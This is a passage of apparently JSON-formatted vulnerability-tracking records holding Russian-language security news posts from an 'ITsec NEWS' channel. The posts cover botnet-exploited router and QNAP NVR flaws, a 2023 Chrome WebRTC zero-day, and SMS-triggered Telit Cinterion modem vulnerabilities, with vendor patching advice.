\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c , \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-49897 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u044b FXC AE1021 \u0438 AE1021PE. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 6 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0431\u0440\u043e\u0441 \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2023-47565 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 QNAP VioStor \u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439 QVR 4.x. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 7 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430, \u0433\u0434\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 QVR 5.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u044f \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e QNAP 5.0.0 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442 InfectedSlurs \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0438 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\n\n\u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f QNAP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0448\u0430\u0433\u0438:\n\n\u0412\u043e\u0439\u0442\u0438 \u0432 QVR \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u041f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u2192 \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u2192 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\u041d\u0430\u0439\u0442\u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u041f\u041e \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\u0447\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u041f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u2192 \u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u2192 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2192 \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c.\n\n\u041c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 End-of-Life (EOL), \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 5.x \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0445 \u0437\u0430\u043c\u0435\u043d\u0430 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-18T09:41:54.000000Z"}, {"uuid": "c32d5d2a-0d81-4b70-9b3c-edd2b4c02e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://t.me/itsec_news/3885", "content": "\u200b\u26a1\ufe0fCVE-2023-7024: \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 0-day \u0432 Chrome \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432\n\n\ud83d\udcac \u0412\u0447\u0435\u0440\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chrome, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 CVE-2023-7024 , \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 WebRTC. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435. \u0412 Google \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2023-7024 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0441\u044c\u043c\u043e\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u00abzero-day\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 Chrome \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u041a \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n\nCVE-2023-2033 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-2136 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia;\n\nCVE-2023-3079 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4762 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4863 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP;\n\nCVE-2023-5217 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 vp8 \u0432 libvpx;\n\nCVE-2023-6345 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 2023 \u0433\u043e\u0434\u0443 \u0441\u0442\u0430\u043b\u0438: \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u043e\u043c, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0432\u043e\u0434\u0430.\n\n\u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Chrome \u043d\u0430 \u043b\u044e\u0431\u044b\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u044f 120.0.6099.129 \u0438 \u0441\u0432\u0435\u0436\u0435\u0435.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera, Vivaldi \u0438 \u042f\u043d\u0434\u0435\u043a\u0441 \u0411\u0440\u0430\u0443\u0437\u0435\u0440, \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0438 \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-21T10:17:35.000000Z"}, {"uuid": "26652957-0a18-49fb-a0b4-f658f03ea408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47616", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 